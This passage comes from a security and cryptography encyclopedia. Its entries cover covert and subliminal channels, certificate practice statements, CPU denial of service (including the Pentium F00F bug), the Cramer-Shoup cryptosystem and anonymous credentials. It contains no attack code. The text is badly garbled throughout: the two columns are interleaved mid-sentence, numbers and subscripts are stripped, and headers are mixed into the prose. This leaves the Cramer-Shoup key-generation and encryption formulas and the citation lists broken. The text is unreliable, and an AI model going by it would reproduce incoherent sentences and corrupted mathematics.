again Table and assumes that a secret user inserts in the
database an unclassified tuple telling that Marys salary is Related Concepts
Restricted. By observing this tuple, unclassified users will Information Hiding; Side Channels
learn that Marys salary is classified and thus they are not
authorized to learn the actual value of Marys salary. Thus, Denition
in this case, the decision is to tell the truth to unclassi- Lampson [, p. ] informally specified a special type of
fied users and thus to avoid using cover stories. Notice that communication being:
using the Restricted value actually corresponds to autho-
Covert channels, i.e., those not intended for information
rizing a signalling channel. In [], this approach is called
transfer at all, such as the service programs eect on the
refusal and a hybrid method is defined that combines
system load.
the lying approach based on cover story with the refusal
approach. A more general definition can be found in [, p. ].
C CPS, Certicate Practice Statement
Theory (ed) Advances in cryptology Crypto , Proceedings, Santa

Covert channels often involve what is called timing chan- Barbara, CA, August (Lecture notes in computer science
) Springer-Verlag, Heidelberg, pp
nels and storage channels. An example of a timing channel
. Desmedt Y () Simmons protocol is not free of subliminal
is the start-time of a process. The modulation of disc space channels. In: Proceedings, th IEEE computer security founda-
is an example of a storage channel. Methods how covert tions workshop, Kenmare, Ireland, June , . pp
channels can be fought can, e.g., be found in []. For more . Desmedt Y, Goutier C, Bengio S () Special uses and abuses
information about covert channels, see []. of the Fiat-Shamir passport protocol. In: Pomerance C (ed)
Advances in cryptology, Proc. of Crypto , Santa Barbara,
Simmons [] introduced the research on covert chan-
CA, August (Lecture notes in computer science ),
nels to the cryptographic community, by introducing a Springer-Verlag, Heidelberg, pp
special type, he called a subliminal channel. (Simmons did . Kilian J, Leighton T () Failsafe key escrow, revisited. In:
not regard these channels as fitting the definition of covert Coppersmith D (ed) Advances in cryptology Crypto , Pro-
channel [].) He observed that covert data could be hidden ceedings, Santa Barbara, CA, August (Lecture notes in
computer science ), Springer-Verlag, Heidelberg, pp
within the authenticator of an authentication scheme [].
. Lampson BW () A note on the confinement problem. Comm
The capacity of this channel was not large (a few bits per ACM ():
authenticator), but as Simmons disclosed years later . Millen J () years of covert channel modeling and analy-
[, p. ] (see also []), the potential impact on sis. In: Proceedings of IEEE symposium on security and privacy,
treaty verification and on the national security of the USA Oakland, CA, pp
. Simmons GJ () Verification of treaty compliance-revisited.
could have been catastrophic.
In: Proc. of the IEEE symposium on security and privacy,
In , the concept of subliminal channel was Oakland, CA, April , . IEEE Computer Society Press,
extended to be hidden inside a zero-knowledge interactive Franconia, New Hampshire, pp
proof []. The concept was generalized to a hidden channel . Simmons GJ () The prisoners problem and the sublimi-
inside any cryptographic system [, ]. Mechanisms to pro- nal channel. In: Chaum D (ed) Advances in cryptology. Proc.
of Crypto , Santa Barbara, CA, August . Plenum Press,
tect against subliminal channels were also presented [, ]
New York, pp
and reinvented years later []. Problems with some of . Simmons GJ () An introduction to the mathematics of trust
these solutions were discussed in [] (see []) for a more in security protocols. In: Proceedings, computer security foun-
complete discussion. dations workshop VI, June . IEEE Computer Society Press,
Subliminal channels in key distribution could under- Franconia, New Hampshire, pp
. Simmons GJ () Subliminal channels; past and present. Eur
mine key escrow, as discussed in []. Kleptography is the
Trans Telecommun ():
study of how a designer, making a black box cipher, can . Simmons GJ () The history of subliminal channels. In:
leak the users secret key subliminally to the designer (see Anderson R (ed) Information hiding, first international work-
e.g., []). shop, Proceedings, Cambridge, UK, May June (Lecture
For a survey of the work predating , consult []. Notes in Computer Science ) Springer-Verlag, Heidelberg,
pp
For a more recent survey, see [].
. U.S. Department of Defense () Department of defense
trusted computer system evaluation criteria, August ,
(Also known as the Orange Book)
Recommended Reading . Young A, Yung M () Kleptography: using cryptography
. Bishop M () Computer security. Addison-Wesley, Read- against cryptography. In: Fumy W (ed) Advances in cryptol-
ing, MA ogy Eurocrypt , Proceedings Konstanz, Germany, May
. Burmester M, Desmedt YG, Itoh T, Sakurai K, Shizuya H, Yung (Lecture notes in computer science ), Springer-Verlag,
M () A progress report on subliminal-free channels. In: Heidelberg, pp
Anderson R (ed) Information hiding, first international work-
shop, Proceedings, Cambridge, UK, May June (Lecture
notes in computer science ), Springer-Verlag, Heidelberg,
pp
. Covert channels bibliography. http://caia.swin.edu.au/cv/ CPS, Certicate Practice
szander/cc/cc- general- bib.html. Accessed June Statement
. Desmedt Y () Abuses in cryptography and how to fight
them. In: Gold-wasser S (ed) Advances in cryptology Torben Pedersen
Crypto , Proceedings August , Santa Barbara, CA
Cryptomathic, rhus, Denmark
(Lecture notes in computer science ), Springer-Verlag,
Heidelberg, pp
. Desmedt Y () Making conditionally secure cryptosystems Related Concepts
unconditionally abuse-free in a general context. In: Brassard G Certificate; Certification Authority
CPU Consumption C
Denition of the keys used by the CA (Key Management). The

A certificate practice statement (CPS) describes the pro- PKIX working group under IETF (Internet Engineering
cedures, practices, and controls that a certificate authority Task Force) has proposed a template for a CPS in [], and
(CA) employs when managing the life cycle of certificates actual certificate practice statements can be obtained from
within a public key infrastructure. most commercial CA service providers.
As a CPS can be quite hard to access for a nontechnical
reader, many CAs have chosen to publish a PKI Disclosure
Background
Statement, which summarizes the most important points
C
The organization and procedures of the CA must be doc-
of the CPS.
umented in a CPS in order to ensure that the issued cer-
A CA must normally be audited regularly in order to
tificates can be applied as expected. The applicability of a
ensure that it continuously follows its CPS. The certificate
certificate is described in the certificate policy and the CPS
policy may in particular define the rules for such auditing
must describe how the CA meets the requirements defined
or assessment of the CA. It may, for example, be required
in the certificate policy.
that an independent auditor initially approves that the CPS
complies with the certificate policy and yearly reviews the
Theory procedures actually followed by the CA against the CPS.
In order to rely on a public key certificate, it is necessary There is a multiple-to-multiple correspondence
to understand the intended applicability of the certificate. between certificate policies and certificate practice state-
This is specified in terms of a certificate policy, which ments. Different CAs using different procedures (and
defines the applications in which the certificate may be hence having different certificate practice statements) may
used as well as possibly the class of users that may partici- issue certificates under the same policy. Similarly, a CA
pate in the PKI. The certificate policy can be seen as defin- managing certificates according to a particular CPS may
ing the requirements that a CA must fulfill when managing issue certificates under different certificate policies as long
certificates under this policy. The certificate policy under as the CPS meets the requirements defined in each of these
which a certificate is issued is preferably indicated in policies.
the certificate. For X. certificates (see []) a spe- To complete the picture, although a certificate is typi-
cific extension is defined for this purpose. This information cally issued under one certificate policy, the X. standard
allows relying parties to decide whether the certificate is allows associating several policies with a given certificate.
acceptable in a given context without knowing the CPS of This simply indicates that the certificate may be used in
the CA issuing the certificate. various contexts.
ETSI, the European Telecommunications Standards
Institute, has published certificate policies in [, ]. The Recommended Reading
two policies defined in [] cover qualified certificates with . X.: ITU-T Recommendation X. ISO/IEC - ()
one requiring use of Secure Signature Creation Devices as Information technology open systems interconnection the
directory: public-key and attribute certificate frameworks
defined in []. As the legal requirements to qualified cer-
. ETSI, TS () Electronic signatures and infrastructures
tificates (e.g., liability) very often prevent CAs from issu- (ESI); policy requirements for certification authorities issuing
ing qualified certificates [] defines a number of policies qualified certificates, May
covering certificates of the same quality as qualified certifi- . ETSI, TS () Electronic signatures and infrastructures
cates, but not enforcing the legal requirements to qualified (ESI); policy requirements for certification authorities issuing
public key certificates, April
certificates.
. Directive //EC of the European Parliament and of the
A certification authority (CA) describes in a certifi- Council of December on a Community Framework for
cate practice statement (CPS) the procedures and practices Electronic Signatures
that it employs when managing certificates in order to . RfC: Internet X. public key infrastructure certificate
meet the requirements defined in the policy. This includes policy and certification practices framework. See http://www.
rfc-editor.org/rfc.html
managing the life cycle of issued certificates, life cycle of
CA certificates as well as procedures for providing infor-
mation about the certificate status. The latter is particularly
important in order to ensure that revoked certificates are
not misused. Furthermore, the CPS describes manual pro- CPU Consumption
cesses for securely operating the CA and contains infor-
mation on cryptographic aspects, including management CPU Denial of Service
C CPU Denial of Service
identifying a software error (e.g., to cause an untermi-

CPU Denial of Service nated loop) or supplying data to system calls specially
constructed to cause uncharacteristically long system call
Michael E. Locasto execution time.
Department of Computer Science, George Mason Low-tech versions of this latter style of attack can
University, Fairfax, VA, USA include manipulating the scheduler priority for one or
more processes, disabling or removing resource limits (if
provided by the operating system) or issuing a fork bomb
Synonyms or similar resource exhaustion attack.
CPU consumption; CPU starvation Descriptions of hardware bugs abound in the pub-
lished CPU errata lists [] for each CPU model ([] for
Denition example). The errata lists often describe such errors and
A denial-of-service (DoS) attack on a central process- their preconditions in enough detail to enable the recon-
ing unit (CPU) represents an intentionally induced state struction of code sequences that manifest the error state []
of partially or completely degraded CPU performance in (which often, but not always, results in a CPU hang or
terms of the ability of the CPU to make progress on legiti- inconsistent state rapidly leading to a hard or soft reset).
mate instruction streams. Attackers can then either directly upload and run such
code sequences on a target platform or construct data
aimed at eliciting such instruction sequences from the
Background execution of existing program binaries [].
This type of attack represents a condition of the CPU
whereby its available resources (registers, data path, arith-
Applications
metic functional units, floating point units, and logic units)
The aforementioned Pentium FF bug supplies one
remain in an intentionally induced state of overload, live-
prominent example of a hardware error leading to a hung
lock, or deadlock.
CPU. The Pentium processor failed to correctly handle
An attacker can prevent the CPU from making
an illegal formulation of the CMPXCHGB instruction.
progress on the execution of benign processes in a num-
Specifically, if this instruction was given a non-memory
ber of ways, but at least two mainstream methods suffice to
operand (the implicit operand is the concatenation of
overload the CPU or impair its ability to multiplex between
the EDX and EAX registers, and the explicit operand
a collection of processes. The first method involves the
must refer to memory) and the instruction was given the
exploitation of a hardware error in CPU design or con-
LOCK prefix, then the CPU entered a complex failure
struction to halt or loop the CPU or otherwise place it
state. Normally, supplying a non-memory operand to this
in an error state requiring a hard reset. The Intel FF
instruction should generate an illegal opcode exception.
bug [] provides an example of this method of attack. The
Unfortunately, simultaneously specifying the LOCK prefix
second method involves exploiting a software error in the
(which is also illegal for this type of instruction) exploited
operating system [] or user-level software [] to cause the
a bug in the CPU: when the CPU recognized the invalid
CPU to continuously service the faulting software (some-
opcode due to the non-memory operand, it attempted to
times in spite of the kernel schedulers attempts to ensure
invoke the invalid instruction handler vector, thus causing
fair CPU multiplexing). This style of attack closely relates
two reads to the memory bus. The LOCK prefix, however,
to algorithmic complexity DoS attacks (they differ in that
caused the bus to enter a state where it expects a readwrite
such attacks can also overload or impair memory perfor-
pair of bus requests rather than two memory bus reads,
mance rather than the CPU as the chief avenue of service
and the CPU subsequently hung. Intel introduced clever
degradation).
workarounds, including some that took advantage of the
bugs behavior, but the ease with which this hardware error
Theory could be exploited should serve as a warning that com-
Attackers can cause the CPU to hang, halt, or execute modity computing hardware remains complex and full of
malicious (or useless) code rather than legitimate, benign significant errors.
processes. They can do so by identifying and building on an
error in the CPU hardware or by causing the kernel or one Open Problems
or more user-level processes to consume more than their Preventing DoS attacks is notoriously difficult the point
fair share of execution time. Often, the latter attack involves of most software and hardware computing systems, is,
CramerShoup Public-Key System C
after all, to provide service, and exhausting available band- Denition

width, memory, or CPU cycles remains a major concern The CramerShoup cryptosystem [, ] is the first public-
in the absence of redundancy or strict and well-calibrated key cryptography system that is efficient and is proven to
resource limits. be chosen ciphertext secure without the random oracle
Hardware errors will continue to present a troubling model using a standard complexity assumption.
source of potential CPU DoS attacks. Hardware cannot be
patched as easily as software, and simply executing a user- Background
level program with the right mixture of instructions can Before describing the system we give a bit of history.
C
compromise an entire machine, including software layers The standard notion of security for a public-key
like the OS or a virtual machine monitor that is tradition- encryption system is known as semantic security under
ally supposed to enforce isolation or access control. an adaptive chosen ciphertext attack and is denoted by
Latent software errors in the OS kernel and a wide vari- IND-CCA. The concept is due to Rackoff and Simon []
ety of user-level applications also present opportunities for and the first proof that such systems exist is due to Dolev
CPU exhaustion, livelock, or deadlock. With the increas- et al. []. Several efficient constructions for IND-CCA
ing emphasis on parallel computing models and multicore systems exist in the random oracle model. For example,
systems, software errors involving improper lock order- OAEP is known to be IND-CCA when using the RSA
ing or bugs in threading libraries supply ample material trapdoor permutation [, ]. Until the discovery of the
for impairing the ability of the CPU to make progress on CramerShoup system, there were no efficient IND-CCA
benign instruction streams. systems that are provably secure under standard assump-
tions without random oracles.
Recommended Reading
. Collins R () The Pentium FF Bug. http://www.rcollins.org/ Theory
ddj/May/FFBug.html The CramerShoup system makes use of a group G of
. http://www.juniper.net/security/auto/vulnerabilities/vuln. prime order q. It also uses a hash function H: G Zq
html or http://secunia.com/advisories//
(modular arithmetic). We assume that messages to be
. Maurer N () Denial of service (CPU consumption) via a long
argument to the MAIL command. http://issues.apache.org/jira/
encrypted are elements of G. The most basic variant of the
browse/JAMES- systems works as follows:
. de Raadt T () Intel Core . The openbsd-misc mailing list,
message http://marc.info/?l-openbsd- isc&m=
Key Generation. Pick an arbitrary generator g of G. Pick
. http://www.geek.com/images/geeknews/Jan/core duo errata a random w in Zq and random x , x , y , y , z in Zq .
y
full.gif ) Set g = g w , e = g x g x , f = g y g , and h = g z . The
. Kaspersky K () Remote code execution through Intel public key is (g, g, e, f, g, G, q, H) and the private key is
CPU bugs. HITBSecConf. http://conference.hitb.org/
(x , x , y , y , z, G, q, H).
hitbsecconfkl/?page_id=
Encryption. Given the public key (g, g, e, f, h, G, q, H) and
a message m G:
. Pick a random u in Zq .
CPU Starvation . Set a = g u , a = g u , c = hu m, v = H(a, a, c),
d = eu f uv .
CPU Denial of Service . The ciphertext is C = (a, a, c, d) G .
Decryption. To decrypt a ciphertext C = (a, a, c, d) using
the private key (x , x , y , y , z, G, q, H):
CramerShoup Public-Key System
. Test that a, a, c, d belong to G; output reject and halt
if not.
Dan Boneh
. Compute v = H(a, a, c) Zq . Test that
Department of Computer Science, Stanford University, +xy
d = ax ax +vy ; output reject and halt if not.
Stanford, CA, USA
. Compute m = c/az G and output m as the decryption
of C.
Related Concepts Cramer and Shoup prove that the system is IND-CCA
Public-Key Cryptography if the DDH assumption [] (Decisional DiffieHellman
C Credential Verication
problem) holds in G and the hash function H is colli- Recommended Reading

sion resistant. They show that if a successful IND-CCA . Bellare M, Desai A, Pointcheval D, Rogaway P () Relations
attacker exists, then (assuming H is collision resistant) among notions of security for public-key encryption schemes.
In: Krawczyk H (ed) Advances in cryptology CRYPTO.
one can construct an algorithm B, with approximately the
same running as the attacker, that decides if a given -tuple pp
g, g, a, a G is a random DDH tuple or a random tuple . Bellare M, Rogaway P () Optimal asymmetric encryption.
in G . Very briefly, Algorithm B works as follows: it gives In: De Santis A (ed) Advances in cryptology EUROCRYPT.
the attacker a public key for which B knows the private Lecture Notes in Computer Science, vol . Springer, Berlin,
pp
key. This enables B to respond to the attackers decryp-
. Boneh D () The decision DiffieHellman problem. In:
tion queries. The given -tuple is then used to construct Buhler JP (ed) Proceedings of the rd algorithmic number the-
the challenge ciphertext given to the attacker. Cramer and ory symposium. Lecture Notes in Computer Science, vol .
Shoup show that if the -tuple is a random DDH tuple, Springer-Verlag, Berlin, pp
then the attacker will win the semantic security game with . Boneh D, Boyen X () Efficient selective-ID secure iden-
tity based encryption without random oracles. In: Cachin C,
non-negligible advantage. However, if the input -tuple is
Camenisch J (ed) Advances in cryptology EUROCRYPT .
a random tuple in G , then the attacker has zero advantage Lecture Notes in Computer Science, vol . Springer-Verlag,
in winning the semantic security game. This behavioral dif- Berlin, pp
ference enables B to decide whether the given input tuple . Canetti R, Halevi S, Katz J () Chosen-ciphertext security
is a random DDH tuple or not. from identity-based encryption. In: Cachin C, Camenisch J (ed)
Advances in cryptology EUROCRYPT . Lecture Notes in
We briefly mention a number of variants of the sys-
Computer Science, vol . Springer-Verlag, Berlin, pp
tem. Ideally, one would like an IND-CCA system that can . Cramer R, Shoup V () A practical public key cryptosystem
be proven secure in two different ways: () without ran- provably secure against adaptive chosen ciphertext attack. In:
dom oracles it can be proven secure using the decisional Krawczyk H (ed) Advances in cryptology CRYPTO. Lecture
DiffieHellman assumption, and () with random oracles Notes in Computer Science, vol . Springer-Verlag, Berlin,
pp
it can be proven secure using the much weaker compu-
. Cramer R, Shoup V () Universal hash proofs and a
tational DiffieHellman assumption. For such a system, paradigm for chosen ciphertext secure public key encryption.
the random oracle model provides a hedge in case the In: Knudsen L (ed) Advances in cryptology EUROCRYPT
DDH assumption is found to be false. A small variant of . Lecture Notes in Computer Science, vol . Springer-
the CramerShoup system above can be shown to have this Verlag, Berlin, pp
. Cramer R, Shoup V () Design and analysis of practical
property [].
public-key encryption schemes secure against adaptive chosen
Occasionally, one only requires security against a weak ciphertext attack. SIAM J Comput ():
chosen ciphertext attack in which the attacker can only . Dolev D, Dwork C, Naor M () Non-malleable cryptography.
issue decryption queries before being given the challenge SIAM J Comput ():
ciphertext [, ]. A simpler version of the CramerShoup . Fujisaki E, Okamoto T, Pointcheval D, Stern J () RSA-OAEP
is secure under the RSA assumption. J Cryptology ():
system, called CS-Lite, can be shown to be secure against
. Naor M, Yung M () Public-key cryptosystems provably
this weaker chosen ciphertext attack assuming DDH holds secure against chosen ciphertext attacks. In: Proceedings of
in G. This variant is obtained by computing d as d = eu . nd ACM Symposium on Theory of Computing, May ,
There is no need for y , y , f , or the hash function H. When Baltimore, MD, pp
decrypting we verify that d = ax ax in step . . Rackoff C, Simon D () Noninteractive zero-knowledge
proof of knowledge and chosen ciphertext attack. In: Feigen-
Finally, one may wonder how to construct efficient
baum J (ed) Advances in cryptology CRYPTO. Lecture
IND-CCA systems using an assumption other than DDH. Notes in Computer Science, vol . Springer-Verlag, Berlin,
Cramer and Shoup [] showed that their system is a special pp
case of a more general paradigm. Using this generaliza- . Sahai A, Elkind E () A unified methodology for con-
tion they construct a CCA system based on the Quadratic structing public-key encryption schemes secure against adap-
tive chosen-ciphertext attack. Cryptology ePrint Archive http://
Residuosity assumption modulo a composite. They obtain
eprint.iacr.org///
a more efficient system using a stronger assumption known
as the Pallier assumption. Other constructions for efficient
IND-CCA systems are given in [, ]. Finally, we note
that Sahai and Elkind [] show that the CramerShoup Credential Verication
system can be linked to the NaorYung double encryption
paradigm []. Authentication
Credential-Based Access Control C
In systems where the ability to delegate portions of

Credential-Based Access Control the authorization process is desirable, secret key cryptog-
raphy is no longer a viable substrate for credential-based
Adam J. Lee access control systems due to the increased complexity of
Department of Computer Science, University of key management. To alleviate these concerns, credential-
Pittsburgh, Pittsburgh, PA, USA based access control systems for these types of environ-
ments typically make use of public key cryptosystems to
encode authorization tokens and/or policy assertions. The
C
Related Concepts majority of recent research can be roughly partitioned into
Anonymous Routing; Digital Credentials; Electronic
two major thrust areas: (a) systems for expressing access
Cash; Kerberos; Trust Management; Trust Negotia- control policies and discovering the credentials needed to
tion access a resource at runtime, for example, [, ]; and (b)
cryptographic systems for protecting the sensitive policies
Denition of resource providers and/or the sensitive credentials of
Credential-based access control is the process through principals in the system, for example, []. The first thrust
which a resource provider determines a subjects autho- area addresses what is commonly referred to as the trust
rization to carry out an action by examining environmental management problem []; for a description of this area,
and/or attribute assertions encoded in verifiable digital please refer Trust Management.
credentials issued by trusted third-party certifiers. The development of privacy-preserving credential
systems has received a great deal of attention from the
Background research community, starting as early as the s. Elec-
Digital credentials are the basic building block upon which tronic cash schemes are essentially anonymous credential-
many access control systems are based. Because digital cre- based access control systems that allow a user access to
dentials can take many forms including secrets encrypted digital goods if and only if they can present an electronic
using symmetric key cryptographic algorithms, public key token that (anonymously) authorizes payment for these
certificates, and unlinkable anonymous credentials a goods. (Electronic Cash for more information.) Since
wide variety of credential-based access control systems the initial electronic cash proposals, these types of sys-
have been developed over the years. The main factors influ- tems have been also generalized to develop anonymous
encing the design of these systems include the degree of credential systems that can be used to encode arbitrary
decentralized administration, the complexity of the poli- attribute, value assertions (e.g., see []). The resulting
cies to be enforced during the access control process, and credentials can be used to evaluate complex predicates over
the privacy protections afforded to policy writers and/or the attributes possessed by a user without revealing the
users in the system. identity of the user or her exact attribute values to either
the resource provider examining the credential(s) or the
Theory certificate issuers contacted to attest to the validity of the
Secret key cryptography has long been used as the basis for credential(s) used during the access control process. As
credential-based access control in systems where admin- with electronic cash, the use of these types of credentials
istrative tasks are handled in a centralized manner. For requires an anonymous communication channel between
instance, the ability for a user to carry out a given action the user requesting a service and the service provider. For
in the Amoeba distributed operating system is dependent more information about the anonymous channels, please
on his or her possession of a capability token that explic- refer Anonymous Routing.
itly authorizes the action []. This token is created by the While credential-based access control systems that
resource owner and is protected by a keyed hash that leverage anonymous credentials certainly protect user
ensures its authenticity. As such, it acts as a very basic privacy, the requirement of anonymous communication
authorization credential. Similarly, the Kerberos autho- channels makes their use prohibitive in many circum-
rization protocol extends this notion to protect access to stances. As such, researchers have also explored credential-
networked applications that are to be accessed by a well- based access control systems that provide some protection
defined set of authorized users within a given administra- for sensitive user attributes without requiring the over-
tive realm. For more information on these topics, please heads of anonymous channels. Often referred to as hid-
refer Capabilities and Kerberos. den credential systems, these types of protocols allow a
C Credentials
resource provider to encrypt some resource (e.g., a file,

secret key, logical assertion, etc.) in such a way that the Credentials
recipient can only decrypt the resource if her attributes
satisfy an access control policy specified by the resource Gerrit Bleumer
provider (e.g., [, ]). This type of system enables a condi- Research and Development, Francotyp Group,
tional oblivious transfer of data from the resource provider Birkenwerder bei Berlin, Germany
to the recipient that protects the potentially sensitive
attributes of the recipient. (Oblivious Transfer for more
information.) In addition to the oblivious transfer of data, Related Concepts
these systems have also seen use in resolving policy cycles Access Control; Electronic Cash; Privilege Manage-
that can arise during the trust negotiation process. ment; Unlinkability
Applications Denition
Credential-based access control systems based on secrets Cryptographic credentials are means to implement secure
encrypted using symmetric key cryptosystems have long privacy protecting certificates in decentralized systems, in
been used to manage user rights in centralized and particular, systems where each user is represented by an
decentralized operating systems (e.g., Hydra and Amoeba, individual mobile device under their own control. Creden-
respectively) and distributed applications with central- tials are a means to achieve multilateral security.
ized administrative control (e.g., via the Kerberos system).
Credential-based access control systems that leverage Theory
identity and attribute certificates have found uses in the In a general sense, credentials are something that gives
Web services and grid/cloud computing domains, while a title to credit or confidence. In computer systems, cre-
richer systems based on the principles of trust man- dentials are descriptions of privileges that are issued by
agement and trust negotiation are likely to find uses an authority to a subject. The privilege may be an access
in emerging dynamic networked environments. Finally, right, an eligibility, or membership (privilege manage-
credential-based access control systems constructed using ment and access control). Examples from real life are
unlikable private credentials (e.g., the idemix system) can drivers licenses, club membership cards, or passports. A
be used to enforce access controls over anonymizing net- credential can be shown to a verifier in order to prove ones
works, as the use of more traditional public key certificates eligibility or can be used toward a recipient in order to
would effectively de-anonymize the channels over which exercise the described privilege or receive the described
they are used by explicitly identifying their holder. service. The integrity of a credential scheme relies on the
verifiers being able to effectively check the following three
conditions before granting access or providing service:
Recommended Reading
. Blaze M, Feigenbaum J, Lacy J () Decentralized trust man- . The credential originates from a legitimate authority.
agement. In: Proceedings of the IEEE symposium on security and For example, the alleged authority is known or listed as
privacy, IEEE, Oakland, , pp
an approved provider of credentials for the requested
. Bradshaw RW, Holt JE, Seamons KE () Concealing com-
plex policies with hidden credentials. In: Proceedings of the
service.
th ACM conference on computer and communications security, . The credential is legitimately shown or used by the
Washington DC, ACM, , pp respective subject.
. Camenisch J, Lysyanskaya A () An efficient system for non- . The privilege described is sufficient for the service
transferable anonymous credentials with optional anonymity
requested.
revocation. In: Proceedings of the international conference on
the theory and application of cryptographic techniques (EURO- In centralized systems, credentials are called capabilities,
CRYPT), London, , pp
that is, descriptions of the access rights to certain security
. Li J, Li N () OACerts: oblivious attribute certificates. IEEE
Trans Dependable Secure Comput (): critical objects (access control). The centralized system
. Tanenbaum AS, Mullender SJ, van Renesse R () Using sparse manages the issuing of capabilities to subjects through
capabilities in a distributed operating system. In: Proceedings a trusted issuing process, and all attempts of subjects to
of the th international conference on distributed computing access objects through a trusted verifier, that is, the access
systems, Cambridge, MA, IEEE, , pp
enforcement mechanism. If the subject has sufficient capa-
. Yu T, Winslett M, Seamons KE () Supporting structured
credentials and sensitive policies through interoperable strate- bilities assigned, it is authorized to access the requested
gies for automated trust negotiation. ACM Trans Inf Syst Secur object or service, otherwise the access is denied. The capa-
(): bilities and their assignment to subjects are stored in a
Credentials C
central trusted repository, where they can be looked up by monitor the moving of all honest drivers. Considerations
the access enforcement mechanism. Thus, in centralized like this led Chaum [] to look for privacy in credentials:
systems, the integrity requirements , , are enforced by Unlinkable credentials can be issued and shown/used in
trusted central processes. such a way that even a coalition of cheating issuers and
In distributed systems, there are autonomous entities verifiers has no chance to determine which issuing and
acting as issuing authorities, as users who get credentials showing/using or which two showings/usings originate
issued or show/use credentials, or as verifiers. Distributed from the same credential (unlinkability).
credentials need to satisfy the above integrity require- Unlinkable credentials also leave the holders anony-
C
ments even in the presence of one or more cheating users, mous, because if transactions on the same credential can-
possibly collaborating. In addition, one can be interested not be linked, neither can such transactions be linked to
in privacy requirements of users against cheating issuers the credential holders identity. (Otherwise, they were no
and verifiers, possibly collaborating. David Chaum intro- longer unlinkable.)
duced credentials in this context of distributed systems in In the cryptographic literature, the term credential is
[]. Distributed credentials have been proposed to repre- most often used for nontransferable and unlinkable cre-
sent such different privileges as electronic cash, passports, dentials, that is, those that are irreversibly tied to human
drivers licenses, diplomas, and many others. Depending individuals, and protecting the privacy of users. Numer-
on what privilege a credential represents, its legitimate use ous cryptographic solutions have been proposed both for
must be restricted appropriately (Integrity Requirement () consumable credentials and for personal credentials alike.
above). The following atomic use restrictions have been Chaum et al. [] kicked off the development of consum-
considered in the literature. able credentials. Improvements followed by Chaum et al.
Nontransferable credentials cannot be (successfully) shown [], Chaum and Pedersen [], Cramer and Pedersen
by subjects to whom they have not been issued in the first [], Brands [], Franklin and Yung [], and others. Brands
place. Such credentials could represent nontransferable solution achieves overspending prevention by using a
privileges such as diplomas or passports. wallet-with-observer architecture ([] and electronic
Revocable credentials cannot be (successfully) shown after wallet), overspender detection without assuming tam-
they have expired or have been revoked. Such creden- per resistant hardware, and unconditional unlinkability of
tials could represent revocable privileges such as drivers payments also without assuming tamper resistant hard-
licenses or public key certificates commonly used in ware. Brands solution satisfied almost all requirements that
public key infrastructures (PKI). had been stated by for efficient offline consumable
Consumable credentials cannot be (successfully) shown credentials (e-cash) in a surprisingly efficient way.
after they have been used a specified number of times. Such Naccache and von Solms [] pointed out later
credentials could represent privileges that get consumed that unconditional unlinkability (which implies payer
when you use them, for example, electronic cash. anonymity) might be undesirable in practice because it
More complex use restrictions can be defined by com- would allow blackmailing and money laundering. They
bining these atomic use restrictions in Boolean formulae. suggested to strive for a better balance between the indi-
For example, revocable nontransferable credentials could viduals privacy and law enforcement. This work triggered
be used as drivers licenses that expire after a specified a number of proposals for consumable credentials with
period of, for example, years. anonymity revocation by Stadler et al. [], Brickell et al.
A credential scheme is called online if its credentials [], Camenisch et al. [], and Frankel et al. [].
can be shown and used only by involving a central trusted About the same amount of work has been done on
authority that needs to clear the respective transactions. If developing personal credential schemes. Quite surpris-
the holder and verifier can do so without involving a third ingly, the problem of nontransferability between cheating
party, the credentials scheme is called offline. Online cre- collaborating individuals was neglected in many of the
dential schemes are regarded as more secure for the issuers early papers by Chaum and Evertse [, , ] and Chen
and verifiers, while offline credential schemes are regarded []. Chens credentials are more limited than Chaums and
as more flexible and convenient to customers. Evertses because they can be shown only once. Damrd
Credentials and their use could carry a lot of personal [] stated nontransferability as a security requirement but
information about their holders. For example, consider an the proposed solution did not address nontransferabil-
automated toll system that checks the drivers license of ity. Chaum and Pedersen [] introduced the wallet-with-
each car driver frequently but conveniently via wireless observer architecture and proposed personal credentials
road check points. Such a system would effectively ban to be kept inside wallet databases, that is, decentralized
drivers without a valid license, but it could also effectively databases keeping all the privileges of their respective
C Credentials
owners. Their proposal only partially addressed nontrans- his own credit card account as a matter of retaliation. It
ferability by suggesting distance bounding protocols appears as if this concept promotes and protects closed
(Brands and Chaum []) in order to ensure the physical groups of criminal credential sharers. In addition, it would
proximity of a wallet-with-observer during certain trans- be hard in practice to guarantee that for each individual
actions. Distance bounding protocols can prevent Mafia the risk of sharing any particular credential is significantly
frauds, where the individual present at an organization higher than the respective benefits. Thus, for most real-
connects her device online to the wallet of another remote world applications such as drivers licenses, membership
individual who holds the required credential and then cards, or passports, this deterrence approach to nontrans-
diverts the whole communication with the organization ferability would face severe acceptance problems from the
to that remote wallet. Distance bounding cannot, how- issuers and verifiers perspective. Their scheme also sup-
ever, discourage individuals from simply lending or trad- ports anonymity revocation as an option, but at the cost
ing their wallets. Lysyanskaya et al. [] proposed a general of about a tenfold increase of computational complex-
scheme based on one-way functions and general zero- ity. Subsequent work by Camenisch and Lysyanskaya []
knowledge proofs, which is impractical, and a practical also shows how to revoke their anonymous credentials
scheme that has the same limitations as Chens: credentials on demand. The price of this feature is an even higher
can be shown only once. computational complexity of the showing of credentials.
The fundamental problem of enforcing nontransfer- It appears that detecting a cheating individual who has
ability is simply this: the legitimate use of personal cre- lent his personal credentials to another individual, or who
dentials (in contrast to consumable credentials) can nei- has borrowed a personal credential from another indi-
ther be detected nor prevented by referring only to the vidual is technically possible, but is often unacceptable in
digital activity of individuals. There must be some mech- practice. Unauthorized access may lead to disastrous or
anism that can distinguish whether the individual who hard-to-quantify damage, which cannot be compensated
shows a personal credential is the same as the individ- after the access has been made regardless how individ-
ual to whom that credential has been issued before. Since uals are persecuted and what measures of retaliation are
personal devices as well as personal access information applied.
such as PINs and passwords can easily be transferred The wisdom of more than years of research
from one individual to another, there is no other way to on credentials is that in offline consumable creden-
make this distinction but by referring to hardly transferable tials overspender detection can be achieved by dig-
characteristics of the individuals themselves, for example, ital means alone while overspending prevention can
through some kind of (additional) biometric identification only be achieved by relying on tamper resistant hard-
(biometrics) of individuals. Then, illegitimate showing ware. In online consumable credentials, both overspender
can be recognized during the attempt and thus can be detection and overspending prevention can be achieved
prevented effectively, however, at the price of assum- without relying on tamper resistant hardware.
ing tamper resistant biometric verification hardware. In personal credentials, one is interested in trans-
Bleumer proposed to enhance the wallet-with-observer fer prevention, which we have called nontransferability.
architecture of Chaum and Pedersen [] by a biometric Considering a separate integrity requirement of transferer
recognition facility embedded into the tamper resistant detection makes little sense in most applications because
observer in order to achieve transfer prevention []. the potential damage caused by illegitimately transferring
